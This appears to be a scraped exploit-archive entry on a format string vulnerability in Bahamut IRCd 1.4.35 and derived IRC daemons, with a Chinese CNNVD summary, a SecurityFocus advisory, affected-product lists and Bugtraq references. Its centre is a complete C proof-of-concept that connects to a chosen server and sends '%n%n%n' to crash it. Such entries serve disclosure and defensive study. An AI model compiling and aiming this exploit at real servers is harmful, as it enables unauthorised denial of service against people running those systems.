https://www.exploit-db.com/exploits/22839
https://www.securityfocus.com/bid/87457
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200308-011

(1)BahamutIRCd1.4.35及其早期版本和其他基于Bahamut的IRC守护进程，包括(2)digatech1.2.1版本，(3)methane0.1.1版本，(4)AndromedeIRCd1.2.3-Release，和（5)ircd-RU中存在格式串漏洞。远程攻击者借助包含格式串的请求导致服务拒绝且可能执行任意代码。

source: http://www.securityfocus.com/bid/8038/info

Behamut IRCd has been reported prone to remotely exploitable format string vulnerability.

The issue presents itself when Behamut is compiled with DEBUGMODE defined. Reportedly a remote attacker may send malicious format specifiers to trigger an error. By passing specially crafted format specifiers through the IRC session, a remote attacker could potentially corrupt process memory and may have the ability to execute arbitrary code with the privileges of the affected daemon.

It should be noted that IRC daemons that are derived from the Behamut source have also been reported vulnerable.

/*
 * Irc crash for bahamut servers based on http://www.securityfocus.com/archive/1/326917/2003-06-24/2003-06-30/0
 * Bahamut IRCd <= 1.4.35
 * - Dinos [email protected] 27/06/03
 */

#include <stdio.h>              /* for printf() */
#include <sys/socket.h>         /* for socket(), connect(), send() and recv() */
#include <arpa/inet.h>          /* for sockaddr_in inet_addr() */
#include <stdlib.h>             /* for atoi() */
#include <unistd.h>             /* for close() */
#include <fcntl.h>              /* for fcntl() */
#include <sys/file.h>           /* for O_NONBLOCK and FASYNC */
#include <sys/time.h>           /* for timeval */
#include <errno.h>              /* for errno and EINPROGRESS */
#include <netdb.h>              /* for gethostbyname */

unsigned long resolv_name(char name[])
{
   struct hostent   *host;              /* structure containing host information */

   if ( (host = gethostbyname(name)) == NULL )
   {
        printf("gethostbyname() failedn");
        exit(1);
   }
   /* returing the binary, network-byte-ordered address */
   return *( (unsigned long *) host->h_addr_list[0] );
}


int main (int argc, char *argv[])
{
   int sock;                    /* socket descriptor */
   int retval;                  /* return value from connect() */
   struct sockaddr_in ServAddr; /* socks's server address */
   char *servIP;                /* server IP address */
   char *socksbuf;              /* send buffer */
   unsigned short ServPort;     /* socks server port */
   struct timeval tv;           /* timeout values */
   unsigned int len;            /* message length */
   fd_set sockSet;              /* set of socket description */
   unsigned long theip;         /* the ip */
   fd_set setit;                /* fd settings for select() */
   int i;

   if ( argc < 2 )
   {
        printf("Irc Crash n");
        printf("Usage:");
        printf("./ircc <irc-server> <port>n");
        exit(1);
   }

   servIP = argv[1];
   ServPort = atoi(argv[2]);

   if ( ( sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ) < 0 )
        return -1;      /* There is no socket for us :( */

   memset(&ServAddr, 0, sizeof(ServAddr));
   ServAddr.sin_family          = AF_INET;
   ServAddr.sin_addr.s_addr     = resolv_name(servIP);  /* irc-server ip */
   ServAddr.sin_port            = htons(ServPort);      /* port */


   if ( connect(sock, (struct sockaddr *)&ServAddr, sizeof(ServAddr)) == 0 ) {
        printf("Connected...n");
   }
   else {
        printf("Error connecting to the ircservern");
        close(sock);
        exit(1);
   }
   sleep(1); /* just sleep */
   memset(&socksbuf, 0, sizeof(socksbuf));
   socksbuf = "%n%n%n";
   printf("Sending buffer %sn",socksbuf);
   i = send(sock, socksbuf, 7, 0);
   if (i <0) {
        printf ("Error sending buffern");
        close(sock);
        return -1;
   }

   printf("Buffer sendn");

   close(sock);
   return 0;
}

Wenet Ircd-Ru 0

Hans Westerhof Digatech 1.2.1

Daniel Moss Methane 0.1.1

Bahamut Ircd 1.4.35

Andromede Adromedeircd 1.2.3

来源:BUGTRAQ
名称:20030626BahamutIRCd<=1.4.35andseveralderiveddaemons
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105665996104723&w;=2
来源:BUGTRAQ
名称:20030627BahamutDoS
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105673555726823&w;=2
来源:BUGTRAQ
名称:20030627BahamutDoS
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105673555726823&w;=2
来源:BUGTRAQ
名称:20030627Re:BahamutIRCd<=1.4.35andseveralderiveddaemons
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105673489525906&w;=2
来源:BUGTRAQ
名称:20030627Re:BahamutIRCd<=1.4.35andseveralderiveddaemons
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105673489525906&w;=2
来源:BUGTRAQ
名称:20030626BahamutIRCd<=1.4.35andseveralderiveddaemons
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105665996104723&w;=2